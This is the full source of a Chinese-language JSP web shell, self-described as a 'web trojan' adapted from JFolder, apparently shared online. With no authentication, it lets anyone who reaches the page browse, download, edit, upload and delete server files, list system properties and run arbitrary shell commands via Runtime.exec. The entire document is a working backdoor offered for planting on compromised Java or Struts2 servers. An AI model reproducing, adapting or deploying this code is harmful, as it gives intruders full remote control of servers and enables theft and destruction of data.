webshell(jsp版)修改简单的文件管理,可执行shell

<%/**
websell V1.1 windows platform
@Filename： webshell.jsp
时间:2011-01-11
因struts2拦截,所以须MultiPartRequestWrapper来取得上传的文件流,原request.getInputStream()无法读取数据
1.当执行命令,因cmd/shell命令与文件管理冲突,需要设置成空值进行.
String mp=strCmd ;//增加临时变量,设置成空串,结束时再转化回原值
2.文件排序,在linux下排序不正常时,用以下方法对文件列表排序.
Arrays.sort(list);
3.调用MultiPartRequestWrapper上传文件
4.对于zip上传因为是字节型式,所以不存在编码问题,如果是文本则需要转化:本地是gbk,服务端是utf8.
*/%>
<%@page contentType="text/html;charset=utf-8"%>
<%@page import="java.io.*,java.util.*" %>
<!-- 因struts2拦截,所以须MultiPartRequestWrapper,原request.getInputStream()无法读取数据 -->

<%@page import="org.apache.struts2.dispatcher.multipart.*" %>
<%!private final static int languageNo = 0; //Language,0 : Chinese; 1:English
String strThisFile = "";
String strSeparator = File.separator;
String[] authorInfo = { " <font color=red> JFolder改编版 by 盛璐禕</font>",
" <font color=red> </font>" };
String[] strFileManage = { "文 件 管 理", "File Management" };
String[] strCommand = { "CMD 命 令", "Command Window" };
String[] strSysProperty = { "系 统 属 性", "System Property" };
String[] strHelp = { "帮 助", "Help" };
String[] strParentFolder = { "上级目录", "Parent Folder" };
String[] strCurrentFolder = { "当前目录", "Current Folder" };
String[] strDrivers = { "驱动器", "Drivers" };
String[] strFileName = { "文件名称", "File Name" };
String[] strFileSize = { "文件大小", "File Size" };
String[] strLastModified = { "最后修改", "Last Modified" };
String[] strFileOperation = { "文件操作", "Operations" };
String[] strFileEdit = { "修改", "Edit" };
String[] strFileDown = { "下载", "Download" };
String[] strFileCopy = { "复制", "Move" };
String[] strFileDel = { "删除", "Delete" };
String[] strExecute = { "执行", "Execute" };
String[] strBack = { "返回", "Back" };
String[] strFileSave = { "保存", "Save" };

/**
* 删除某个文件夹下的所有文件夹和文件
* @param delpath String
* @throws FileNotFoundException
* @throws IOException
* @return boolean
*/
public static boolean deletefile(String delpath)
throws FileNotFoundException, IOException {
try {

File file = new File(delpath);
if (!file.isDirectory()) {
System.out.println("1");
file.delete();
} else if (file.isDirectory()) {
System.out.println("2");
String[] filelist = file.list();
for (int i = 0; i < filelist.length; i++) {
File delfile = new File(delpath + "//" + filelist[i]);
if (!delfile.isDirectory()) {
System.out.println("path=" + delfile.getPath());
System.out.println("absolutepath="
+ delfile.getAbsolutePath());
System.out.println("name=" + delfile.getName());
delfile.delete();
System.out.println("删除文件成功");
} else if (delfile.isDirectory()) {
deletefile(delpath + "//" + filelist[i]);
}
}
file.delete();

}

} catch (FileNotFoundException e) {
System.out.println("deletefile() Exception:" + e.getMessage());
}
return true;
}

String formatPath(String p) {
StringBuffer sb = new StringBuffer();
for (int i = 0; i < p.length(); i++) {
if (p.charAt(i) == '//') {
sb.append("////");
} else {
sb.append(p.charAt(i));
}
}
return sb.toString();
}

/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == '&')
return "&";
else if (i == '<')
return "<";
else if (i == '>')
return ">";
else if (i == '"')
return """;
else
return "" + (char) i;
}

/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}

String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
StringBuffer sb = new StringBuffer(strDrivers[languageNo] + ":");
File roots[] = File.listRoots();
for (int i = 0; i < roots.length; i++) {
sb.append(" <a href=/"javascript:doForm('','" + roots[i]
+ strSeparator + "','','','1','');/">");
sb.append(roots[i] + "</a> ");
}
return sb.toString();
}

static String convertFileSize(long filesize) {
String strUnit = "Bytes";
String strAfterComma = "";
int intDivisor = 1;
if (filesize >= 1024 * 1024) {
strUnit = "MB";
intDivisor = 1024 * 1024;
} else if (filesize >= 1024) {
strUnit = "KB";
intDivisor = 1024;
}
if (intDivisor == 1)
return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor;
if (strAfterComma == "")
strAfterComma = ".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}%>
<%
//request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit = new StringBuffer("");
StringBuffer sbDown = new StringBuffer("");
StringBuffer sbCopy = new StringBuffer("");
StringBuffer sbSaveCopy = new StringBuffer("");
StringBuffer sbNewFile = new StringBuffer("");
String strOS = System.getProperty("os.name").toLowerCase();

//out.print(strPath);
if ((tabID == null) || tabID.equals("")) {
tabID = "1";
}

if (strDir == null || strDir.length() < 1) {
strDir = request.getRealPath("/");
}

if (strAction != null && strAction.equals("down")) {
File downloadfile = new File(strPath);
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition",
"attachment;filename=/""
+ strPath.substring(
strPath.lastIndexOf("//") + 1, strPath
.length()) + "/"");
FileInputStream fileInputStream = new FileInputStream(
downloadfile);
int totalRead = 0;
int readBytes = 0;
long fileLen = downloadfile.length();
byte b[] = new byte[65000];
response.resetBuffer();
while ((long) totalRead < fileLen) {
readBytes = fileInputStream.read(b);
totalRead += readBytes;
response.getOutputStream().write(b, 0, readBytes);
}
fileInputStream.close();
out.clear();
out = pageContext.pushBody();
}

if (strAction != null && strAction.equals("del")) {
File f = new File(strPath);
f.delete();
}
//删除文件夹
if (strAction != null && strAction.equals("deldir")) {
/*
File f=new File(strPath);
f.delete();
*/
deletefile(strPath);
}

if (strAction != null && strAction.equals("edit")) {
File f = new File(strPath);
BufferedReader br = new BufferedReader(
new InputStreamReader(new FileInputStream(f)));
sbEdit
.append("<form name='frmEdit' action='' method='POST'>/r/n");
sbEdit
.append("<input type=hidden name=action value=save >/r/n");
sbEdit.append("<input type=hidden name=path value='"
+ strDir + "' >/r/n");
sbEdit.append("<input type=hidden name=file value='"
+ strFile + "' >/r/n");
sbEdit.append("<input type=submit name=save value=' "
+ strFileSave[languageNo] + " '> ");
sbEdit.append("<input type=button name=goback value=' "
+ strBack[languageNo]
+ " ' onclick='history.back(-1);'>  "
+ strPath + "/r/n");
sbEdit
.append("<br><textarea rows=30 cols=90 name=content>");
String line = "";
while ((line = br.readLine()) != null) {
sbEdit.append(htmlEncode(line) + "/r/n");
}
br.close();
sbEdit.append("</textarea>");
sbEdit.append("<input type=hidden name=path value="
+ strDir + ">");
sbEdit.append("</form>");

}

if (strAction != null && strAction.equals("save")) {
File f = new File(strPath);
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(f)));
String strContent = request.getParameter("content") ;
bw.write(strContent);
bw.close();
}
if (strAction != null && strAction.equals("copy")) {
sbCopy
.append("<br><form name='frmCopy' action='' method='POST'>/r/n");
sbCopy
.append("<input type=hidden name=action value=savecopy >/r/n");
sbCopy.append("<input type=hidden name=path value='" + strDir
+ "' >/r/n");
sbCopy.append("<input type=hidden name=file value='" + strFile
+ "' >/r/n");
sbCopy.append("原始文件： " + strPath + "<p>");
sbCopy
.append("目标文件： <input type=text name=file2 size=40 value='"
+ strDir + "'><p>");
sbCopy.append("<input type=submit name=save value=' "
+ strFileCopy[languageNo] + " '> ");
sbCopy.append("<input type=button name=goback value=' "
+ strBack[languageNo]
+ " ' onclick='history.back(-1);'> <p> /r/n");
sbCopy.append("</form>");
}
if (strAction != null && strAction.equals("savecopy")) {
File f = new File(strPath);
String strDesFile = request.getParameter("file2");
if (strDesFile == null || strDesFile.equals("")) {
sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
} else {
File f_des = new File(strDesFile);
if (f_des.isFile()) {
sbSaveCopy
.append("<p><font color=red>目标文件已存在,不能复制。</font>");
} else {
String strTmpFile = strDesFile;
if (f_des.isDirectory()) {
if (!strDesFile.endsWith(strSeparator)) {
strDesFile = strDesFile + strSeparator;
}
strTmpFile = strDesFile + "copy of " + strFile;
}

File f_des_copy = new File(strTmpFile);
FileInputStream in1 = new FileInputStream(f);
FileOutputStream out1 = new FileOutputStream(f_des_copy);
byte[] buffer = new byte[1024];
int c;
while ((c = in1.read(buffer)) != -1) {
out1.write(buffer, 0, c);
}
in1.close();
out1.close();

sbSaveCopy.append("原始文件 ：" + strPath + "<p>");
sbSaveCopy.append("目标文件 ：" + strTmpFile + "<p>");
sbSaveCopy.append("<font color=red>复制成功！</font>");
}
}
sbSaveCopy
.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
}
if (strAction != null && strAction.equals("newFile")) {
String strF = request.getParameter("fileName");
if (!(strF == null || strF.equals(""))) {
File f_new = new File(strF);
if (!f_new.mkdirs())
sbNewFile.append(strF + " 目录创建失败");
} else {
sbNewFile.append("<p><font color=red>请输入完整路径及文件夹名称</font>");
}
}
//multipart以此确认是上传的.action upload strAction.equals("upload")
if ((request.getContentType() != null)
&& (request.getContentType().toLowerCase()
.startsWith("multipart"))) {
//structs支持数据
MultiPartRequestWrapper mpRequest = (MultiPartRequestWrapper) request;
File[] files = mpRequest.getFiles("cqqUploadFile");
String[] names = mpRequest.getFileNames("cqqUploadFile");
String path = mpRequest.getParameter("path");
//组合路径
if (path != null && !path.endsWith(strSeparator))
path = path + strSeparator;

for (int i = 0; i < names.length; i++) {
File fl = files[i];
if(names[i].endsWith(".zip")){
File fdes=new File(path + names[i]);
fl.renameTo(fdes);
}else{
FileInputStream in1 = new FileInputStream(fl);

BufferedReader br = new BufferedReader(new InputStreamReader(in1,"gbk"));
FileOutputStream out1 = new FileOutputStream(path + names[i]);
Writer writer = new OutputStreamWriter(out1,"utf-8");
char[] buffer = new char[1024];
int c;
while ((c = br.read(buffer)) != -1) {
writer.write(buffer, 0, c);
}
writer.flush();
in1.close();
out1.close();
}
}

}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/javascript">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
//处理两边干扰命令
//document.cmd.getElementById("cmdvalue")="";
//document.cmd.cmd.value="";

if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload

</script>
<script language="javascript">

function doForm(action,path,file,cmd,tab,content)
{
document.frmCqq.action.value=action;
document.frmCqq.path.value=path;
document.frmCqq.file.value=file;
document.frmCqq.cmd.value=cmd;
document.frmCqq.tabID.value=tab;
document.frmCqq.content.value=content;
if(action=="del")
{
if(confirm("确定要删除文件 "+file+" 吗？"))
document.frmCqq.submit();
}
else if(action=="deldir")
{
if(confirm("确定要删除文件夹 "+file+" 吗？"))
document.frmCqq.submit();
}

else
{
document.frmCqq.submit();
}
}
</script>

<title>stlouisy-webshell(网马)-JFolder改编版</title>
<head>

<body>

<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>

<!--Top Menu Started-->
<ul id="tablist">
<li><a href="#" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="#" onClick="return expandcontent('menu2', this)"> <%=strCommand[languageNo]%> </a></li>
<li><a href="#" onClick="return expandcontent('menu3', this)"> <%=strSysProperty[languageNo]%> </a></li>
</ul>
<!--Top Menu End-->

<%
StringBuffer sbFolder = new StringBuffer("");
StringBuffer sbFile = new StringBuffer("");
int filenum = 0;
String filelen = "";
long filelong = 0;

//===默认null;
String mp = strCmd;
strCmd = null;
try {
File objFile = new File(strDir);
File list[] = objFile.listFiles();
//排序
Arrays.sort(list);
//
if (objFile.getAbsolutePath().length() > 3) {
sbFolder
.append("<tr><td > </td><td><a href=/"javascript:doForm('','"
+ formatPath(objFile.getParentFile()
.getAbsolutePath())
+ "','','"
+ strCmd + "','1','');/">");
sbFolder.append(strParentFolder[languageNo]
+ "</a><br>- - - - - - - - - - - </td></tr>/r/n ");

}
for (int i = 0; i < list.length; i++) {
if (list[i].isDirectory()) {
//原文件夾
sbFolder.append("<tr><td > </td><td>");
sbFolder.append(" <a href=/"javascript:doForm('','"
+ formatPath(list[i].getAbsolutePath())
+ "','','" + strCmd + "','1','');/">");
sbFolder.append(list[i].getName()
+ "</a><br></td></tr> ");
//增加层处理
String strLen = "";
String strDT = "";
long lFile = 0;
lFile = list[i].length();
filelong += lFile;
strLen = convertFileSize(lFile);
Date dt = new Date(list[i].lastModified());
strDT = dt.toLocaleString();
sbFile
.append("<tr bgcolor='#FBFF06' onmouseover=/"this.style.backgroundColor='#FBFFC6'/" onmouseout=/"this.style.backgroundColor='#FBFF06'/"><td>");
sbFile.append("" + list[i].getName());
sbFile.append("</td><td>");
sbFile.append("" + strLen);
sbFile.append("</td><td>");
sbFile.append("" + strDT);
sbFile.append("</td><td>");

sbFile.append(" <a href=/"javascript:doForm('deldir','"
+ formatPath(strDir) + "','"
+ list[i].getName() + "','" + strCmd + "','"
+ tabID + "','');/">");
sbFile.append(strFileDel[languageNo] + "</a> ");
sbFile.append("文件夹操作小心");

} else {
filenum++;
String strLen = "";
String strDT = "";
long lFile = 0;
lFile = list[i].length();
filelong += lFile;
strLen = convertFileSize(lFile);
Date dt = new Date(list[i].lastModified());
strDT = dt.toLocaleString();
sbFile
.append("<tr onmouseover=/"this.style.backgroundColor='#FBFFC6'/" onmouseout=/"this.style.backgroundColor='white'/"><td>");
sbFile.append("" + list[i].getName());
sbFile.append("</td><td>");
sbFile.append("" + strLen);
sbFile.append("</td><td>");
sbFile.append("" + strDT);
sbFile.append("</td><td>");

sbFile.append(" <a href=/"javascript:doForm('edit','"
+ formatPath(strDir) + "','"
+ list[i].getName() + "','" + strCmd + "','"
+ tabID + "','');/">");
sbFile.append(strFileEdit[languageNo] + "</a> ");

sbFile.append(" <a href=/"javascript:doForm('del','"
+ formatPath(strDir) + "','"
+ list[i].getName() + "','" + strCmd + "','"
+ tabID + "','');/">");
sbFile.append(strFileDel[languageNo] + "</a> ");

sbFile.append(" <a href=/"javascript:doForm('down','"
+ formatPath(strDir) + "','"
+ list[i].getName() + "','" + strCmd + "','"
+ tabID + "','');/">");
sbFile.append(strFileDown[languageNo] + "</a> ");

sbFile.append(" <a href=/"javascript:doForm('copy','"
+ formatPath(strDir) + "','"
+ list[i].getName() + "','" + strCmd + "','"
+ tabID + "','');/">");
sbFile.append(strFileCopy[languageNo] + "</a> ");
}

}
//fjfdszj modif debug
strCmd = mp;

if (filelong > 1000000) {
filelong = filelong / 1000000;
filelen = "<font color=#FF0000>" + filelong + "</font> M";
} else if (filelong > 1000) {
filelong = filelong / 1000;
filelen = "<font color=#FF0000>" + filelong + "</font> K";
} else {
filelen = "<font color=#FF0000>" + filelong
+ "</font> Byte";
}
} catch (Exception e) {
out
.println("<font color=red>操作失败： " + e.toString()
+ "</font>");
}
%>

<DIV id="tabcontentcontainer">

<div id="menu3" class="tabcontent">
<%
Properties props = System.getProperties();
%>
<center>
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td><h1><%=props.getProperty("user.name")%> Operation System</h1><br></td>
</tr>
</table>
</center>
<%
out.println("<h3>操作系统的名称：" + props.getProperty("os.name") + " 构架："
+ props.getProperty("os.arch") + " 版本："
+ props.getProperty("os.version") + "</h3>");

out.println("用户的账户名称：" + props.getProperty("user.name") + "<br>");
out.println("用户的主目录：" + props.getProperty("user.home") + "<br>");

out.println("用户的当前工作目录：" + props.getProperty("user.dir") + "<br>");

out.println("Java的运行环境版本：" + props.getProperty("java.version")
+ "<br>");
out.println("Java的运行环境供应商：" + props.getProperty("java.vendor")
+ "<br>");
out.println("Java供应商的URL：" + props.getProperty("java.vendor.url")
+ "<br>");
out.println("Java的安装路径：" + props.getProperty("java.home") + "<br>");
out.println("Java的虚拟机规范版本："
+ props.getProperty("java.vm.specification.version")
+ "<br>");
out.println("Java的虚拟机规范供应商："
+ props.getProperty("java.vm.specification.vendor")
+ "<br>");
out.println("Java的虚拟机规范名称："
+ props.getProperty("java.vm.specification.name") + "<br>");
out.println("Java的虚拟机实现版本：" + props.getProperty("java.vm.version")
+ "<br>");
out.println("Java的虚拟机实现供应商：" + props.getProperty("java.vm.vendor")
+ "<br>");
out.println("Java的虚拟机实现名称：" + props.getProperty("java.vm.name")
+ "<br>");
out.println("Java运行时环境规范版本："
+ props.getProperty("java.specification.version") + "<br>");
out.println("Java运行时环境规范供应商："
+ props.getProperty("java.specification.vender") + "<br>");
out.println("Java运行时环境规范名称："
+ props.getProperty("java.specification.name") + "<br>");
out.println("Java的类格式版本号："
+ props.getProperty("java.class.version") + "<br>");
out.println("Java的类路径：" + props.getProperty("java.class.path")
+ "<br>");
out.println("加载库时搜索的路径列表：" + props.getProperty("java.library.path")
+ "<br>");
out.println("默认的临时文件路径：" + props.getProperty("java.io.tmpdir")
+ "<br>");
out.println("一个或多个扩展目录的路径：" + props.getProperty("java.ext.dirs")
+ "<br>");

out
.println("文件分隔符：" + props.getProperty("file.separator")
+ "<br>"); //在 unix 系统中是＂／＂
out
.println("路径分隔符：" + props.getProperty("path.separator")
+ "<br>"); //在 unix 系统中是＂:＂
out.println("行分隔符：" + props.getProperty("line.separator") + "<br>");
%>
</div>

<div id="menu4" class="tabcontent">
</div>

<br><div id="menu1" class="tabcontent">
<%
out
.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td>"
+ getDrivers() + "</td></tr></table>/r/n");
out
.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"
+ strCurrentFolder[languageNo]
+ ":"
+ strDir
+ "</td></tr></table>/r/n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">

<tr>
<td width="25%" align="center" valign="top">
<table width="98%" border="0" cellspacing="0" cellpadding="3">
<%=sbFolder%>
</table>
<br><br></td>
<td width="81%" align="left" valign="top">

<%
if (strAction != null && strAction.equals("edit")) {
out.println(sbEdit.toString());
} else if (strAction != null && strAction.equals("copy")) {
out.println(sbCopy.toString());
} else if (strAction != null && strAction.equals("down")) {
out.println(sbDown.toString());
} else if (strAction != null && strAction.equals("savecopy")) {
out.println(sbSaveCopy.toString());
} else if (strAction != null && strAction.equals("newFile")
&& !sbNewFile.toString().equals("")) {
out.println(sbNewFile.toString());
} else {
%>
<span id="EditBox"><table width="100%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
<tr bgcolor="#E7e7e6">
<td width="30%"><%=strFileName[languageNo]%><br><br></td>
<td width="20%"><%=strFileSize[languageNo]%><br><br></td>
<td width="25%"><%=strLastModified[languageNo]%><br><br></td>
<td width="25%"><%=strFileOperation[languageNo]%><br><br></td>
</tr>
<%=sbFile%>
<tr align="center">
<td colspan="4"><br>
总计文件个数：<font color="#FF0000"><%=filenum%></font> ，大小：<%=filelen%><br></td>
</tr>
</table>
</span>
<%
}
%>

<br><br></td>
</tr>
<tr><td colspan=2 bgcolor=#FBFFC6>
<form name="frmMake" action="" method="post" style="margin: 0px">
<input type="hidden" name="action" value="newFile">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<%
if (!strDir.endsWith(strSeparator))
strDir = strDir + strSeparator;
%>
<input type="text" name="fileName" size=50 value="<%=strDir%>">
<input type="submit" name="btnNewDir" value="新建目录">
</form>
<form name="frmUpload" enctype="multipart/form-data" action="" method="post" style="margin: 0px">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<input type="file" name="cqqUploadFile" size="50">
<input type="submit" name="submit" value="上传">
</form>
</td></tr>
</table>
</div>
<div id="menu2" class="tabcontent">

<%
String line = "";
StringBuffer sbCmd = new StringBuffer("");

if (strCmd != null) {
try {
//out.println(strCmd);
String[] strShell = new String[2];
if (strOS.startsWith("win")) {
strShell[0] = "cmd";
strShell[1] = "/c";
} else {
strShell[0] = "/bin/sh";
strShell[1] = "-c";
}
String[] strCommand = new String[3];
strCommand[0] = strShell[0];
strCommand[1] = strShell[1];
strCommand[2] = strCmd;
//System.out.println(strCommand);
Process p = Runtime.getRuntime().exec(strCommand, null,
new File(strDir));
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
while ((line = br.readLine()) != null) {
sbCmd.append(line + "/r/n");
}
} catch (Exception e) {
System.out.println(e.toString());
}
} else {
strCmd = "set";
}
%>
<form name="cmd" action="" method="post">
 
<input type="text" id="cmdvalue" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="path" value="<%=strDir%>">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if (sbCmd != null && sbCmd.toString().trim().equals("") == false) {
%>
 <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br> 
<%
}
%>
</DIV></div>
<br><br><center><a href="http://www.17dmt.com" target="_blank">数字营销网络学院</a> ,All Rights Reserved.
<br>Any question, please email me